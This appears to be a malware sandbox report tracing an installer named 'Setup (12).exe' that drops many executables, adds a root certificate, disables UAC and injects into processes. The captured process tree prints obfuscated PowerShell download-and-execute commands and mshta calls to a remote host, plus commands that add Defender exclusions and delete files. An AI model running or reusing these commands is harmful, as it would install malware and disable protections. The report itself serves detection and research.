951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Setup (12).exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Setup (12).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Setup (12).exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 172 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1652 Setup (12).exe 1176 msYI4mK4qR1gUUa4I7cLEqmE.exe 1176 msYI4mK4qR1gUUa4I7cLEqmE.exe 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 2640 AdvancedRun.exe 2640 AdvancedRun.exe 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 1256 Process not Found 3020 AdvancedRun.exe 3020 AdvancedRun.exe 1256 Process not Found 1256 Process not Found 1256 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1176 msYI4mK4qR1gUUa4I7cLEqmE.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 1104 EjvAoMujpF2WhWdp6DxmP7Hj.exe Token: SeDebugPrivilege 2640 AdvancedRun.exe Token: SeImpersonatePrivilege 2640 AdvancedRun.exe Token: SeDebugPrivilege 3020 AdvancedRun.exe Token: SeImpersonatePrivilege 3020 AdvancedRun.exe Token: SeDebugPrivilege 3036 WerFault.exe Token: SeDebugPrivilege 3044 WerFault.exe Token: SeDebugPrivilege 2712 taskkill.exe Token: SeDebugPrivilege 796 dLsg5Znfx_L5WPyNmYmzH7OR.exe Token: SeDebugPrivilege 1052 OkOjG1bRh6LHljnfdeWGrKxe.exe Token: SeDebugPrivilege 1972 QvnbKwZmuKVX07R25cIlUQLX.exe Token: SeDebugPrivilege 1912 ZDj9euTac4ji2IjPYiofbB94.exe Token: SeDebugPrivilege 1352 OkOjG1bRh6LHljnfdeWGrKxe.exe Token: SeDebugPrivilege 1948 Sq13NJutwTBFI4zAToXltQuE.exe Token: SeDebugPrivilege 1088 powershell.exe Token: SeDebugPrivilege 2908 OkOjG1bRh6LHljnfdeWGrKxe.exe Token: SeDebugPrivilege 360 aspnet_regsql.exe Token: SeDebugPrivilege 1064 powershell.exe Token: SeDebugPrivilege 764 OkOjG1bRh6LHljnfdeWGrKxe.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1652 wrote to memory of 1688 1652 Setup (12).exe 31 PID 1652 wrote to memory of 1688 1652 Setup (12).exe 31 PID 1652 wrote to memory of 1688 1652 Setup (12).exe 31 PID 1652 wrote to memory of 1688 1652 Setup (12).exe 31 PID 1652 wrote to memory of 1092 1652 Setup (12).exe 32 PID 1652 wrote to memory of 1092 1652 Setup (12).exe 32 PID 1652 wrote to memory of 1092 1652 Setup (12).exe 32 PID 1652 wrote to memory of 1092 1652 Setup (12).exe 32 PID 1652 wrote to memory of 1092 1652 Setup (12).exe 32 PID 1652 wrote to memory of 1092 1652 Setup (12).exe 32 PID 1652 wrote to memory of 1092 1652 Setup (12).exe 32 PID 1652 wrote to memory of 1584 1652 Setup (12).exe 34 PID 1652 wrote to memory of 1584 1652 Setup (12).exe 34 PID 1652 wrote to memory of 1584 1652 Setup (12).exe 34 PID 1652 wrote to memory of 1584 1652 Setup (12).exe 34 PID 1652 wrote to memory of 1700 1652 Setup (12).exe 33 PID 1652 wrote to memory of 1700 1652 Setup (12).exe 33 PID 1652 wrote to memory of 1700 1652 Setup (12).exe 33 PID 1652 wrote to memory of 1700 1652 Setup (12).exe 33 PID 1652 wrote to memory of 1188 1652 Setup (12).exe 44 PID 1652 wrote to memory of 1188 1652 Setup (12).exe 44 PID 1652 wrote to memory of 1188 1652 Setup (12).exe 44 PID 1652 wrote to memory of 1188 1652 Setup (12).exe 44 PID 1652 wrote to memory of 848 1652 Setup (12).exe 43 PID 1652 wrote to memory of 848 1652 Setup (12).exe 43 PID 1652 wrote to memory of 848 1652 Setup (12).exe 43 PID 1652 wrote to memory of 848 1652 Setup (12).exe 43 PID 1652 wrote to memory of 1932 1652 Setup (12).exe 42 PID 1652 wrote to memory of 1932 1652 Setup (12).exe 42 PID 1652 wrote to memory of 1932 1652 Setup (12).exe 42 PID 1652 wrote to memory of 1932 1652 Setup (12).exe 42 PID 1652 wrote to memory of 1176 1652 Setup (12).exe 41 PID 1652 wrote to memory of 1176 1652 Setup (12).exe 41 PID 1652 wrote to memory of 1176 1652 Setup (12).exe 41 PID 1652 wrote to memory of 1176 1652 Setup (12).exe 41 PID 1652 wrote to memory of 328 1652 Setup (12).exe 40 PID 1652 wrote to memory of 328 1652 Setup (12).exe 40 PID 1652 wrote to memory of 328 1652 Setup (12).exe 40 PID 1652 wrote to memory of 328 1652 Setup (12).exe 40 PID 1652 wrote to memory of 328 1652 Setup (12).exe 40 PID 1652 wrote to memory of 328 1652 Setup (12).exe 40 PID 1652 wrote to memory of 328 1652 Setup (12).exe 40 PID 1652 wrote to memory of 1504 1652 Setup (12).exe 39 PID 1652 wrote to memory of 1504 1652 Setup (12).exe 39 PID 1652 wrote to memory of 1504 1652 Setup (12).exe 39 PID 1652 wrote to memory of 1504 1652 Setup (12).exe 39 PID 1652 wrote to memory of 796 1652 Setup (12).exe 38 PID 1652 wrote to memory of 796 1652 Setup (12).exe 38 PID 1652 wrote to memory of 796 1652 Setup (12).exe 38 PID 1652 wrote to memory of 796 1652 Setup (12).exe 38 PID 1652 wrote to memory of 1948 1652 Setup (12).exe 37 PID 1652 wrote to memory of 1948 1652 Setup (12).exe 37 PID 1652 wrote to memory of 1948 1652 Setup (12).exe 37 PID 1652 wrote to memory of 1948 1652 Setup (12).exe 37 PID 1652 wrote to memory of 1948 1652 Setup (12).exe 37 PID 1652 wrote to memory of 1948 1652 Setup (12).exe 37 PID 1652 wrote to memory of 1948 1652 Setup (12).exe 37 PID 1652 wrote to memory of 1104 1652 Setup (12).exe 36 PID 1652 wrote to memory of 1104 1652 Setup (12).exe 36 PID 1652 wrote to memory of 1104 1652 Setup (12).exe 36 PID 1652 wrote to memory of 1104 1652 Setup (12).exe 36 PID 1652 wrote to memory of 1632 1652 Setup (12).exe 61 PID 1652 wrote to memory of 1632 1652 Setup (12).exe 61 PID 1652 wrote to memory of 1632 1652 Setup (12).exe 61 -
System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dLsg5Znfx_L5WPyNmYmzH7OR.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (12).exe"C:\Users\Admin\AppData\Local\Temp\Setup (12).exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Users\Admin\Documents\iHBjPOanAL9mSHCgc0vLolh0.exe"C:\Users\Admin\Documents\iHBjPOanAL9mSHCgc0vLolh0.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1688 -
C:\Users\Admin\Documents\iHBjPOanAL9mSHCgc0vLolh0.exe"C:\Users\Admin\Documents\iHBjPOanAL9mSHCgc0vLolh0.exe"3⤵
- Executes dropped EXE
PID:2532
-
-
-
C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe"C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1092 -
C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe"C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe"3⤵
- Executes dropped EXE
PID:2116
-
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe"C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1700 -
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵
- Executes dropped EXE
PID:2076
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵
- Executes dropped EXE
PID:2740
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵
- Executes dropped EXE
PID:2412
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵
- Executes dropped EXE
PID:2856
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵
- Executes dropped EXE
PID:2444
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵
- Executes dropped EXE
PID:2024
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵
- Executes dropped EXE
PID:568
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵
- Executes dropped EXE
PID:2376
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵PID:3132
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵PID:3316
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵PID:3552
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵PID:3736
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵PID:3892
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵PID:4060
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵PID:3504
-
-
C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exeC:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe3⤵PID:3820
-
-
-
C:\Users\Admin\Documents\2gCS3jN3Q6FLb49kwTO8ugQI.exe"C:\Users\Admin\Documents\2gCS3jN3Q6FLb49kwTO8ugQI.exe"2⤵
- Executes dropped EXE
PID:1584 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"3⤵PID:4484
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵PID:4408
-
-
-
-
C:\Users\Admin\Documents\mQNZN2_QYhL0SydK06nNiYZD.exe"C:\Users\Admin\Documents\mQNZN2_QYhL0SydK06nNiYZD.exe"2⤵
- Executes dropped EXE
PID:1384
-
-
C:\Users\Admin\Documents\EjvAoMujpF2WhWdp6DxmP7Hj.exe"C:\Users\Admin\Documents\EjvAoMujpF2WhWdp6DxmP7Hj.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1104
-
-
C:\Users\Admin\Documents\Sq13NJutwTBFI4zAToXltQuE.exe"C:\Users\Admin\Documents\Sq13NJutwTBFI4zAToXltQuE.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1948
-
-
C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe"C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:796 -
C:\Users\Admin\AppData\Local\Temp\4a19c5c5-b849-49d1-a391-e381f45af606\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\4a19c5c5-b849-49d1-a391-e381f45af606\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\4a19c5c5-b849-49d1-a391-e381f45af606\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2640 -
C:\Users\Admin\AppData\Local\Temp\4a19c5c5-b849-49d1-a391-e381f45af606\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\4a19c5c5-b849-49d1-a391-e381f45af606\AdvancedRun.exe" /SpecialRun 4101d8 26404⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3020
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe" -Force3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1088
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe" -Force3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1064
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:360
-
-
-
C:\Users\Admin\Documents\bWBdhlKPxeaqTIbFonPK8R90.exe"C:\Users\Admin\Documents\bWBdhlKPxeaqTIbFonPK8R90.exe"2⤵
- Executes dropped EXE
PID:1504 -
C:\Users\Admin\AppData\Local\Temp\UjMimefv.com"C:\Users\Admin\AppData\Local\Temp\UjMimefv.com"3⤵
- Executes dropped EXE
PID:2844 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C439.tmp\C43A.tmp\C43B.bat C:\Users\Admin\AppData\Local\Temp\UjMimefv.com"4⤵PID:2172
-
-
-
C:\Users\Admin\AppData\Local\Temp\25pxIiau.com"C:\Users\Admin\AppData\Local\Temp\25pxIiau.com"3⤵
- Executes dropped EXE
PID:2936 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://kmsauto.us/ra/Encoding.txt4⤵PID:1940
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://kmsauto.us/ra/ALL.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X5⤵PID:4880
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\huOuWl3M.com"C:\Users\Admin\AppData\Local\Temp\huOuWl3M.com"3⤵
- Executes dropped EXE
PID:2996 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://kmsauto.us/Encoding.txt4⤵PID:1224
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://kmsauto.us/ALL.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X5⤵PID:4820
-
-
-
-
-
C:\Users\Admin\Documents\feldwAVG4i_tiqBwf36LhZEJ.exe"C:\Users\Admin\Documents\feldwAVG4i_tiqBwf36LhZEJ.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:328 -
C:\Users\Admin\Documents\feldwAVG4i_tiqBwf36LhZEJ.exe"C:\Users\Admin\Documents\feldwAVG4i_tiqBwf36LhZEJ.exe"3⤵
- Executes dropped EXE
PID:2548
-
-
-
C:\Users\Admin\Documents\msYI4mK4qR1gUUa4I7cLEqmE.exe"C:\Users\Admin\Documents\msYI4mK4qR1gUUa4I7cLEqmE.exe"2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1176
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe"C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1932 -
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1052
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1352
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2908
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵
- Executes dropped EXE
PID:2472
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:764
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵
- Executes dropped EXE
PID:328
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵
- Executes dropped EXE
PID:2752
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵PID:1920
-
-
C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exeC:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe3⤵PID:3212
-
-
-
C:\Users\Admin\Documents\xk3SX1x0YxijBx321OwFsvBF.exe"C:\Users\Admin\Documents\xk3SX1x0YxijBx321OwFsvBF.exe"2⤵
- Executes dropped EXE
PID:848 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 848 -s 7963⤵
- Loads dropped DLL
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3036
-
-
-
C:\Users\Admin\Documents\MJ8dSahb62Cbj5gHY1kD8PF3.exe"C:\Users\Admin\Documents\MJ8dSahb62Cbj5gHY1kD8PF3.exe"2⤵
- Executes dropped EXE
PID:1188 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "MJ8dSahb62Cbj5gHY1kD8PF3.exe" /f & erase "C:\Users\Admin\Documents\MJ8dSahb62Cbj5gHY1kD8PF3.exe" & exit3⤵PID:2600
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "MJ8dSahb62Cbj5gHY1kD8PF3.exe" /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2712
-
-
-
-
C:\Users\Admin\Documents\1aWgGudHjeVdKASy1v4R_Rou.exe"C:\Users\Admin\Documents\1aWgGudHjeVdKASy1v4R_Rou.exe"2⤵
- Executes dropped EXE
PID:2064 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵PID:2876
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵PID:2192
-
-
C:\Program Files (x86)\Company\NewProduct\inst1.exe"C:\Program Files (x86)\Company\NewProduct\inst1.exe"3⤵PID:3788
-
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe"C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1836 -
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵
- Executes dropped EXE
PID:2444
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵
- Executes dropped EXE
PID:972
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵
- Executes dropped EXE
PID:2832
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵
- Executes dropped EXE
PID:1408
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵
- Executes dropped EXE
PID:1632
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵
- Executes dropped EXE
PID:2376
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵
- Executes dropped EXE
PID:2744
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3092
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3232
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3484
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3604
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3768
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3940
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4084
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3516
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3804
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4052
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3484
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3380
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3560
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:2228
-
-
